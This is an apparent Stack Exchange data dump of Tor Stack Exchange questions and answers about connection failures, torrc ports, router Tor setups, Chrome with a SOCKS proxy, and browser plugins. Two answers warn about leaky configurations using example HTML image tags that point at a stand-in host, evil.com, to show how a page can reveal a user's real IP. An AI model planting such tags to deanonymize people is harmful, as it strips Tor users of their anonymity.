  <row Id="13002" PostTypeId="1" CreationDate="2016-10-24T19:59:02.700" Score="1" ViewCount="220" Body="&lt;p&gt;Cannot connect to Tor control port.  Been this way. Tried uninstalling / reinstalling several times.  Updated mac to 10.12 .  Tried with McAfee firewall disabled and enabled.  &gt;application support&gt;tor browser directory not even there, I'd delete it and try again if I could.  This seems to be the answer to most questions like this, but since the directory isn't even there...  I was just beginning to explore and the whole thing quit working.  Repeat question, I know, but the standard answers don't seem to be working.  Many thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No log file present to post&lt;/p&gt;&#xA;" OwnerUserId="14823" LastEditorDisplayName="user5" LastEditDate="2016-10-24T21:42:10.457" LastActivityDate="2016-10-24T21:42:10.457" Title="TorT v. 6.0.5, mac OS 10.12; cannot connect to Tor control port" Tags="|tor-browser-bundle|mac|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13006" PostTypeId="1" AcceptedAnswerId="13007" CreationDate="2016-10-25T18:37:51.213" Score="1" ViewCount="3207" Body="&lt;p&gt;I enabled Tor on Advanced Tomato web interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/B6hAE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/B6hAE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is what I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /etc/tor.conf&#xA;SocksPort 9050&#xA;SocksBindAddress 127.0.0.1&#xA;AllowUnverifiedNodes middle,rendezvous&#xA;RunAsDaemon 1&#xA;Log notice syslog&#xA;DataDirectory /tmp/tor&#xA;TransPort 9040&#xA;TransListenAddress 192.168.100.1&#xA;DNSPort 9053&#xA;DNSListenAddress 192.168.100.1&#xA;User nobody&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ps output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;23200 nobody   15372 S    tor -f /etc/tor.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can confirm that the connection works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl ifconfig.co&#xA;46.166.148.176&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To enable tor I really made only a few clicks. Now the question is my setup good for privacy and secure? Any thing you would recommend for Tomato Firmware users? Other comments?&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2019-03-25T20:01:28.047" Title="Tor daemon config on Advanced Tomato custom firmware. Is it private and secure?" Tags="|configuration|routers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13007" PostTypeId="2" ParentId="13006" CreationDate="2016-10-25T21:47:40.670" Score="1" Body="&lt;p&gt;There are a few problems or improvements, at the very least:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksBindAddress 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should probably be &lt;code&gt;192.168.100.1&lt;/code&gt;. I think it's a good idea to expose the Socks port. Where possible you should prefer Socks. If you're going to use Tor Browser, for example, then you will want to take advantage of things like the Socks auth based circuit isolation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect TCP Ports...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is &lt;em&gt;very&lt;/em&gt; &lt;a href=&quot;https://github.com/Jackysi/advancedtomato/blob/bb25e9fafc703dc678498b899f74aacb43191897/release/src/router/rc/firewall.c#L1019-L1056&quot; rel=&quot;nofollow noreferrer&quot;&gt;dangerous&lt;/a&gt;, is it forwarding &lt;em&gt;only&lt;/em&gt; port 80 and 443 through Tor. You're going to leak like a sieve and it would be trivial to deanonymize you. For example, a website that contains &lt;code&gt;&amp;lt;img src=&quot;http://evil.com:81/image.jpg&quot;&amp;gt;&lt;/code&gt; in it, will cause you to fetch the image &lt;em&gt;outside&lt;/em&gt; of Tor, linking your Tor session to your real IP address. Even if you're not doing web browsing, there are similar attacks for a lot of other protocols (and even file formats).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation is &lt;em&gt;not&lt;/em&gt; to use this firmware to Torify your connection &lt;em&gt;at all&lt;/em&gt;, at best you might be able to specify the range 1-65535 for the custom ports, but you'll still be liable to leak non TCP packets. It looks like you'll also need to apply some further configuration to use Tor's &lt;code&gt;DNSPort&lt;/code&gt;, there seems to be a distinct &lt;code&gt;dns_intcpt&lt;/code&gt; option that it set to redirect those too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also suspect that .onion services will not work, because the torrc does not set &lt;code&gt;AutomapHostsOnResolve&lt;/code&gt; and an appropriate &lt;code&gt;VirtualAddrNetworkIPv4&lt;/code&gt; to allow the resolve then transproxy required to utilise onion services without direct access to the Socks port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Some further reading on why I don't like (most) &quot;Tor Routers&quot; is available &lt;a href=&quot;https://github.com/epidemics-scepticism/writing/blob/master/misconception.md#transparent-proxy-and-tor-router&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="22262" LastEditDate="2018-06-16T22:16:19.293" LastActivityDate="2018-06-16T22:16:19.293" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13008" PostTypeId="1" CreationDate="2016-10-26T08:16:04.477" Score="1" ViewCount="112" Body="&lt;p&gt;I am Using a Decryptor Software in that, i am getting the following message&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;the attempt to connect to the Tor anonymous network Please wait....faile &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me in this regard&lt;/p&gt;&#xA;" OwnerUserId="14837" LastActivityDate="2016-10-26T08:16:04.477" Title="the attempt to connect to the Tor anonymous network Please wait....failed - in a decryptor software" Tags="|tor-browser-bundle|network-configuration|" AnswerCount="0" CommentCount="1" ClosedDate="2016-10-29T15:07:17.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="13009" PostTypeId="1" CreationDate="2016-10-26T12:24:33.827" Score="1" ViewCount="422" Body="&lt;pre&gt;&lt;code&gt;10/26/2016 20:15:15 PM.600 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop  &#xA;10/26/2016 20:15:23 PM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150  &#xA;10/26/2016 20:15:23 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.   &#xA;10/26/2016 20:15:23 PM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150   &#xA;10/26/2016 20:15:24 PM.200 [NOTICE] Delaying directory fetches: DisableNetwork is set.   &#xA;10/26/2016 20:15:27 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.   &#xA;10/26/2016 20:15:27 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.   &#xA;10/26/2016 20:15:27 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.   &#xA;10/26/2016 20:15:27 PM.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150   &#xA;10/26/2016 20:15:36 PM.300 [WARN] Problem bootstrapping. Stuck at 85%: Finishing handshake with first hop. (DONE; DONE; count 10; recommendation warn; host 379BD6B5EC586D5DFAC29D67F04FA0F6C8985264 at 158.69.210.73:9001)   &#xA;10/26/2016 20:15:36 PM.300 [WARN] 11 connections have failed:   &#xA;10/26/2016 20:15:36 PM.300 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE   &#xA;10/26/2016 20:15:36 PM.300 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object)   &#xA;10/26/2016 20:15:39 PM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150   &#xA;10/26/2016 20:15:39 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.   &#xA;10/26/2016 20:15:39 PM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150   &#xA;10/26/2016 20:15:39 PM.800 [NOTICE] Delaying directory fetches: DisableNetwork is set.   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14840" LastEditorUserId="12737" LastEditDate="2016-10-26T20:44:53.393" LastActivityDate="2016-10-26T20:44:53.393" Title="Can't connect to Tor. Loading fails" Tags="|help|" AnswerCount="0" CommentCount="1" ClosedDate="2016-10-31T16:29:12.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="13011" PostTypeId="1" CreationDate="2016-10-26T19:26:50.980" Score="0" ViewCount="411" Body="&lt;p&gt;Can't access Craigslist even using the recommended bridges when I set up Tor on my pc.  Can anyone offer a solution?  Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14842" LastActivityDate="2022-01-25T03:09:35.010" Title="Can't access Craigslist even using the recommended bridges when I set up Tor on my pc" Tags="|help|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13012" PostTypeId="2" ParentId="13011" CreationDate="2016-10-26T20:17:02.633" Score="1" Body="&lt;p&gt;Craigslist actively blocks Tor exit nodes, so there is nothing you can do. Using bridges will not make a difference.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-10-26T20:17:02.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13013" PostTypeId="1" AcceptedAnswerId="13036" CreationDate="2016-10-27T08:47:48.823" Score="2" ViewCount="29106" Body="&lt;p&gt;There are several questions on how to enable plugins on Tor, all answered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is simple, &lt;strong&gt;how can I add Flash and/or Silverlight plugins in Tor&lt;/strong&gt; and make sure they actually work, and please don't give me that &quot;oh your security is blown&quot; talk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would actually like to see these plugins working, even if just as a proof-of-concept, because everyone says it supports them but they are disabled by default, but after trying everything I could find, it still doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've whitelisted sites, I've installed 32 bit versions of the extensions, enabled them in noscript, etc., but my add-ons page always comes up empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not possible, we should stop saying it is and just accept it isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it IS possible, then please help me checking what I have to do that I haven't done yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3377/how-can-i-use-silverlight-with-tor&quot;&gt;How can I use silverlight with Tor?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3931/why-cant-tor-browser-use-adobe-flash-player&quot;&gt;Why can&amp;#39;t Tor Browser use Adobe Flash Player?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3266/can-tor-be-used-with-netflix-or-hulu&quot;&gt;Can Tor be used with Netflix or Hulu?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/1676/silverlight-not-working&quot;&gt;Silverlight not working&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FFvzI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FFvzI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4IlxS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4IlxS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14849" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2018-10-22T08:16:09.230" Title="Enable plugins on Tor" Tags="|plugin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13014" PostTypeId="2" ParentId="13013" CreationDate="2016-10-27T14:26:46.053" Score="3" Body="&lt;p&gt;Look, using plug-ins in the Tor Browser is the same as using your default browser. Any protection from Tor is lost because the plugins COMPLETELY IGNORE THE PROXY SETTINGS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use plugins, don't use Tor. Trying to use both at the same time is most wasted effort. The only difference between doing this and using your normal browser is the fact that your normal browser already has the plugins installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, it'd be easier to set up a local Tor proxy, and tell your default browser to use that. Since plugins ignore the proxy, you'll get the exact same effect as on the Tor Browser. &lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-10-27T14:26:46.053" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13017" PostTypeId="1" CreationDate="2016-10-28T12:57:07.867" Score="0" ViewCount="935" Body="&lt;p&gt;I have torrc-default file and torrc custom file on mac at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Applications/TorBrowser.app/Contents/Resources/TorBrowser/Tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;folder (the package of the app).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both files it is specified:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&#xA;ControlPort 9151&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I start tor from unix, it loads listening to 9050.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried to look at configuration in [&lt;a href=&quot;https://tor.stackexchange.com/a/11870]&quot;&gt;https://tor.stackexchange.com/a/11870]&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/TorBrowser-Data/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here I find :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory /Applications/TorBrowser.app/TorBrowser/Data/Tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, where does the port 9050 come from?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kP5xp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kP5xp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDITED after comment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start the application from the folder where tor file is:&#xA;&lt;code&gt;/Applications/TorBrowser.app/Contents/Resources/TorBrowser/Tor&lt;/code&gt;.&#xA;That folder also contains &lt;code&gt;torrc&lt;/code&gt; and &lt;code&gt;torrc-default&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./tor -f torrc &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Oct 28 20:16:17.741 [notice] Tor v0.2.8.7 (git-263088633a63982a) running on Darwin with Libevent 2.0.22-stable, OpenSSL 1.0.1t and Zlib 1.2.5.&#xA;Oct 28 20:16:17.742 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Oct 28 20:16:17.757 [warn] Unable to open configuration file &quot;/Applications/TorBrowser.app/Contents/MacOS/Tor/torrc&quot;.&#xA;Oct 28 20:16:17.757 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14861" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2017-01-26T19:16:34.707" Title="Configuration file in mac: socket port is configured in Library folder or application folder?" Tags="|configuration|mac|terminal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13018" PostTypeId="2" ParentId="13017" CreationDate="2016-10-28T17:45:38.900" Score="1" Body="&lt;p&gt;9050 is a builtin default, from the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SocksPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Manual&lt;/a&gt;...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;SocksPort&lt;/strong&gt; [address:]port|unix:path|auto [flags] [isolation flags]&lt;/p&gt;&#xA;&lt;p&gt;Open this port to listen for connections from SOCKS-speaking applications. Set this to 0 if you don’t want to allow application connections via SOCKS. Set it to &amp;quot;auto&amp;quot; to have Tor pick a port for you. This directive can be specified multiple times to bind to multiple addresses/ports. &lt;strong&gt;(Default: 9050)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;When you're starting it &amp;quot;from unix&amp;quot;, it's probably looking for the default torrc, not finding any defined in the builtin default location (you need to specify the location with &lt;code&gt;-f&lt;/code&gt; and optional &lt;code&gt;--defaults-torrc&lt;/code&gt; if it's not in the location it was told to look when it was compiled) and instead falling back to it's default settings.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-10-28T17:45:38.900" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13021" PostTypeId="1" CreationDate="2016-10-29T08:16:35.807" Score="3" ViewCount="5696" Body="&lt;p&gt;I followed online advices to run google-chrome with tor (on Ubuntu 16.04)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor &amp;amp; 2&amp;amp;&amp;gt;1 &amp;gt;/dev/null&#xA;/usr/bin/google-chrome-stable --proxy-server=&quot;localhost:9050;https=localhost:9050;socks=localhost:9050;sock4=localhost:9050;sock5=localhost:9050,ftp=localhost:9050&quot; $MY_URL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow&quot;&gt;check.torproject.org&lt;/a&gt; site tells me &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry. You are not using Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What should be changed for tor to work properly?&lt;/p&gt;&#xA;" OwnerUserId="14868" LastEditorUserId="88" LastEditDate="2016-10-31T14:35:05.607" LastActivityDate="2016-10-31T14:35:05.607" Title="How to use Tor with Google Chrome?" Tags="|linux|ubuntu|browsers|chrome|terminal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13023" PostTypeId="1" CreationDate="2016-10-29T19:48:57.997" Score="2" ViewCount="2112" Body="&lt;p&gt;I've used Tor browser on many different generations of Windows with no problem. But when I download the bundle the install works perfect but than when I try to open it I get a Tor browser profile problem. It says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser does not have permission to access the profile. Please&#xA;  adjust your file system permissions and try again&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried deleting and reinstalling, and running as admin and none of these options worked. There is only one profile on this computer so I can not figure out what to do for the life of me.&lt;/p&gt;&#xA;" OwnerUserId="14875" LastEditorUserId="10777" LastEditDate="2016-10-30T18:50:30.347" LastActivityDate="2016-10-30T18:50:30.347" Title="Windows 10 Error" Tags="|error|" AnswerCount="1" CommentCount="0" ClosedDate="2016-10-31T16:15:51.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="13026" PostTypeId="2" ParentId="13023" CreationDate="2016-10-30T01:34:39.740" Score="2" Body="&lt;p&gt;Never run it as admin, nothing in Tor Browser requires administrator privileges. Running it as administrator greatly increases the damage that could be done if your browser was compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is where you are extracting Tor Browser to. Directories like &lt;code&gt;C:\&lt;/code&gt;, &lt;code&gt;C:\Program Files\&lt;/code&gt; or &lt;code&gt;C:\Program Files (x86)&lt;/code&gt; all have administrator requirements to edit (for very good security reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, install it to some folder associated with your user account, a common example would be &lt;code&gt;C:\Users\user\Desktop\&lt;/code&gt; (where your username is &lt;code&gt;user&lt;/code&gt;), this will ensure that Tor Browser will have sufficient file and folder permissions to the place it is extracted without any need for special permissions.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-10-30T01:34:39.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13027" PostTypeId="2" ParentId="13021" CreationDate="2016-10-30T01:49:42.247" Score="6" Body="&lt;p&gt;From the &lt;a href=&quot;https://wiki.archlinux.org/index.php/Tor#Chromium&quot; rel=&quot;noreferrer&quot;&gt;Arch Linux Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chromium --proxy-server=&quot;socks5://127.0.0.1:9050&quot; --host-resolver-rules=&quot;MAP * 0.0.0.0 , EXCLUDE myproxy&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However as the wiki explicitly warns: this will be used for fetching http and https only, a great deal of work was put into ensuring &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#proxy-obedience&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;&quot;Proxy Obedience&quot;&lt;/em&gt;&lt;/a&gt; in Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forcing Chromium to fetch content outside of the Tor proxy is trivial. For example, currently a website with a resource tag like &lt;code&gt;&amp;lt;img src=&quot;ftp://evil.com/evil.jpg&quot;&amp;gt;&lt;/code&gt; will cause Chromium to fetch directly from the FTP server, without going through Tor making it trivial to link your browsing through Tor to your real IP address, and in many cases even non-malicious sites will cause it to violate these settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only will this leaky proxying break the basic IP anonymity of Tor and lack the ability to resist fingerprinting as provided by Tor Browser but it may also break normal functionality of Tor, for example if it tries to resolve &lt;code&gt;.onion&lt;/code&gt; content outside of the SOCKS proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: As an aside, you also shouldn't be running tor from the command line with &lt;code&gt;tor &amp;amp; ...&lt;/code&gt;, instead you should use &lt;code&gt;service tor start&lt;/code&gt; and &lt;code&gt;service tor stop&lt;/code&gt; to start and stop &lt;code&gt;tor&lt;/code&gt;. This reduces the privileges that the Tor process has and helps compartment possible failures.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-10-30T22:14:20.700" LastActivityDate="2016-10-30T22:14:20.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13036" PostTypeId="2" ParentId="13013" CreationDate="2016-10-31T11:23:18.747" Score="1" Body="&lt;p&gt;Documenting my findings in case it helps someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Requisites&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor &gt; Privacy and Security settings &gt; uncheck &quot;Disable browser plugins (such as Flash)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/avpqp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/avpqp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To Install Adobe Flash (23.0.0.205)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) open &lt;a href=&quot;https://get.adobe.com/flashplayer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://get.adobe.com/flashplayer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) download and install flash (uncheck 3rd party software)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note: installer file is deleted after installation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) open add-ons page, plugins, set flash to activate always&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3XysW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3XysW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) test flash: &lt;a href=&quot;https://www.adobe.com/software/flash/about/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.adobe.com/software/flash/about/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9ovVy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ovVy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To Install Silverlight (5.1.50901.0)&lt;/strong&gt; - Unsuccessful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) open &lt;a href=&quot;https://www.microsoft.com/getsilverlight/get-started/install/default.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.microsoft.com/getsilverlight/get-started/install/default.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) download and install silverlight&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;3) open add-ons page, plugins, set silverlight to activate always&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;4) test silverlight: &lt;a href=&quot;https://www.microsoft.com/getsilverlight/default.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.microsoft.com/getsilverlight/default.aspx&lt;/a&gt;&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Findings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in &quot;about:config&quot; there is a property &lt;strong&gt;plugin.scan.plid.all&lt;/strong&gt;. AFAIK this is responsible for finding plugins in the system on every run&lt;/li&gt;&#xA;&lt;li&gt;file &lt;strong&gt;pluginreg.dat&lt;/strong&gt; (about:support, click &quot;show folder&quot;) shows detected plugins but is unable to find silverlight (32 or 64 bit). in firefox it works immediately&lt;/li&gt;&#xA;&lt;li&gt;some people have been trying to use Tor for watching Netflix. aside from arguing how bad this is/looks, &lt;strong&gt;Netflix offers HTML5 support from Firefox 47&lt;/strong&gt;, so anything below that will offer Silverlight instead. tweaking the user agent doesn't seem to help, as there are likely browser features required for the video rendering; another way to overcome this is to run actual firefox 47+ with a &lt;strong&gt;local Tor proxy&lt;/strong&gt; (open Tor, copy proxy settings to firefox). in this case, technically everything will work, however, Netflix has recently implemented a &lt;a href=&quot;https://help.netflix.com/pt/node/277&quot; rel=&quot;nofollow noreferrer&quot;&gt;validation that will &lt;strong&gt;detect proxies&lt;/strong&gt;&lt;/a&gt; and block the service&lt;/li&gt;&#xA;&lt;li&gt;in conclusion, plugins do work, but perhaps there is some kind of issue with Tor finding Silverlight as a valid plugin. anyway, in a couple of months firefox will also drop NAPI support&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes/Further reading&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.mozilla.org/en-US/kb/use-silverlight-plugin-play-audio-and-video&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mozilla plans to drop support for all NPAPI plugins except for Flash in March 2017, when Firefox version 52 is released.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://help.netflix.com/en/node/23742&quot; rel=&quot;nofollow noreferrer&quot;&gt;Netflix HTML5 requires Firefox v47+&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14849" LastEditorUserId="14849" LastEditDate="2016-10-31T11:51:37.720" LastActivityDate="2016-10-31T11:51:37.720" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
